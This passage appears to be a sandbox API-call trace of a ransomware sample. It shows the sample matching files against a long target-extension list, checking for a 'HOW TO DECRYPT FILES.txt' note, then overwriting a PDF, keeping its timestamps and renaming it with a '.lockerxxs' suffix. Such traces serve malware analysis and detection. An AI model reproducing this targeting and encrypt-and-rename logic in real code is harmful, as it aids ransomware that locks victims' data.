lpString2="DefaultID.pdf") returned -1 [0068.540] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf") returned="AdobeID.pdf" [0068.540] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\" [0068.540] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\") returned="" [0068.540] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\HOW TO DECRYPT FILES.txt" [0068.540] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\how to decrypt files.txt")) returned 0x20 [0068.540] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf" [0068.540] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0068.540] lstrlenA (lpString="*.ems") returned 5 [0068.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.db") returned 0 [0068.541] lstrlenA (lpString="*.db") returned 4 [0068.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0068.541] lstrlenA (lpString="*.dbf") returned 5 [0068.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0068.541] lstrlenA (lpString="*.myox") returned 6 [0068.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0068.541] lstrlenA (lpString="*.myo") returned 5 [0068.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0068.541] lstrlenA (lpString="*.qbw") returned 5 [0068.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0068.541] lstrlenA (lpString="*.qbb") returned 5 [0068.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0068.541] lstrlenA (lpString="*.qbm") returned 5 [0068.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0068.541] lstrlenA (lpString="*.qbo") returned 5 [0068.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0068.541] lstrlenA (lpString="*.qbx") returned 5 [0068.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0068.541] lstrlenA (lpString="*.qba") returned 5 [0068.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0068.541] lstrlenA (lpString="*.qby") returned 5 [0068.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0068.541] lstrlenA (lpString="*.qbj") returned 5 [0068.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0068.541] lstrlenA (lpString="*.ofx") returned 5 [0068.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0068.542] lstrlenA (lpString="*.qif") returned 5 [0068.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0068.542] lstrlenA (lpString="*.mye") returned 5 [0068.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0068.542] lstrlenA (lpString="*.mbox") returned 6 [0068.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.542] lstrlenA (lpString="*.eml") returned 5 [0068.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0068.542] lstrlenA (lpString="*.pst") returned 5 [0068.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0068.542] lstrlenA (lpString="*.ost") returned 5 [0068.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0068.542] lstrlenA (lpString="*.idx") returned 5 [0068.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0068.542] lstrlenA (lpString="*.dbx") returned 5 [0068.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0068.542] lstrlenA (lpString="*.sql") returned 5 [0068.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0068.542] lstrlenA (lpString="*.mdb") returned 5 [0068.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0068.542] lstrlenA (lpString="*.fdb") returned 5 [0068.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0068.542] lstrlenA (lpString="*.wab") returned 5 [0068.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0068.542] lstrlenA (lpString="*.dat") returned 5 [0068.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0068.543] lstrlenA (lpString="*.txt") returned 5 [0068.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0068.543] lstrlenA (lpString="*.jpeg") returned 6 [0068.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0068.543] lstrlenA (lpString="*.jpg") returned 5 [0068.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.png") returned 0 [0068.543] lstrlenA (lpString="*.png") returned 5 [0068.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.php") returned 0 [0068.543] lstrlenA (lpString="*.php") returned 5 [0068.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0068.543] lstrlenA (lpString="*.cs") returned 4 [0068.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0068.543] lstrlenA (lpString="*.cpp") returned 5 [0068.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0068.543] lstrlenA (lpString="*.rar") returned 5 [0068.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0068.543] lstrlenA (lpString="*.zip") returned 5 [0068.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.html") returned 0 [0068.543] lstrlenA (lpString="*.html") returned 6 [0068.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0068.543] lstrlenA (lpString="*.htm") returned 5 [0068.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0068.543] lstrlenA (lpString="*.xlsx") returned 6 [0068.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0068.544] lstrlenA (lpString="*.xls") returned 5 [0068.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0068.544] lstrlenA (lpString="*.mp4") returned 5 [0068.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0068.544] lstrlenA (lpString="*.ppt") returned 5 [0068.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0068.544] lstrlenA (lpString="*.pptx") returned 6 [0068.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0068.544] lstrlenA (lpString="*.doc") returned 5 [0068.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0068.544] lstrlenA (lpString="*.dot") returned 5 [0068.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0068.544] lstrlenA (lpString="*.docx") returned 6 [0068.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0068.544] lstrlenA (lpString="*.7z") returned 4 [0068.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0068.544] lstrlenA (lpString="*.tar") returned 5 [0068.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0068.544] lstrlenA (lpString="*.bz2") returned 5 [0068.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0068.544] lstrlenA (lpString="*.gz") returned 4 [0068.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0068.544] lstrlenA (lpString="*.mkv") returned 5 [0068.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.544] lstrlenA (lpString="*.eml") returned 5 [0068.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0068.545] lstrlenA (lpString="*.msg") returned 5 [0068.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0068.545] lstrlenA (lpString="*.edb") returned 5 [0068.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0068.545] lstrlenA (lpString="*.accdb") returned 7 [0068.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0068.545] lstrlenA (lpString="*.odb") returned 5 [0068.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.java") returned 0 [0068.545] lstrlenA (lpString="*.java") returned 6 [0068.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0068.545] lstrlenA (lpString="*.asm") returned 5 [0068.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0068.545] lstrlenA (lpString="*.pfx") returned 5 [0068.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0068.545] lstrlenA (lpString="*.pem") returned 5 [0068.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0068.545] lstrlenA (lpString="*.p12") returned 5 [0068.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0068.545] lstrlenA (lpString="*.gpg") returned 5 [0068.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0068.545] lstrlenA (lpString="*.vsd") returned 5 [0068.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0068.545] lstrlenA (lpString="*.odg") returned 5 [0068.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0068.545] lstrlenA (lpString="*.raw") returned 5 [0068.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0068.546] lstrlenA (lpString="*.nef") returned 5 [0068.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0068.546] lstrlenA (lpString="*.svg") returned 5 [0068.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0068.546] lstrlenA (lpString="*.psd") returned 5 [0068.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0068.546] lstrlenA (lpString="*.vmx") returned 5 [0068.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0068.546] lstrlenA (lpString="*.vmdk") returned 6 [0068.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0068.546] lstrlenA (lpString="*.vdi") returned 5 [0068.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0068.546] lstrlenA (lpString="*.lay6") returned 6 [0068.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0068.546] lstrlenA (lpString="*.mpeg") returned 6 [0068.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0068.546] lstrlenA (lpString="*.djvu") returned 6 [0068.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0068.546] lstrlenA (lpString="*.tiff") returned 6 [0068.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0068.546] lstrlenA (lpString="*.backup") returned 8 [0068.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0068.546] lstrlenA (lpString="*.pdf") returned 5 [0068.546] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf" [0068.547] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf" [0068.547] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf." [0068.547] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf.lockerxxs" [0068.547] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.547] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x103f8 [0068.547] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805da3e0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0068.548] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.548] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x103d2, lpOverlapped=0x0) returned 1 [0068.552] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf") returned="DefaultID.pdf" [0068.552] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.553] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x103d2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x103d2, lpOverlapped=0x0) returned 1 [0068.553] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.553] CloseHandle (hObject=0x94) returned 1 [0068.555] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\defaultid.pdf.lockerxxs")) returned 1 [0068.556] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x103f8, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0068.556] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0068.556] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="JPN", cAlternateFileName="")) returned 1 [0068.556] lstrcmpA (lpString1=".", lpString2="JPN") returned -1 [0068.556] lstrcmpA (lpString1="..", lpString2="JPN") returned -1 [0068.557] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0068.557] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="JPN" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN" [0068.557] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN") returned 63 [0068.557] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.557] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0068.557] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0068.557] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0068.557] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0068.557] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5944, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0068.557] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 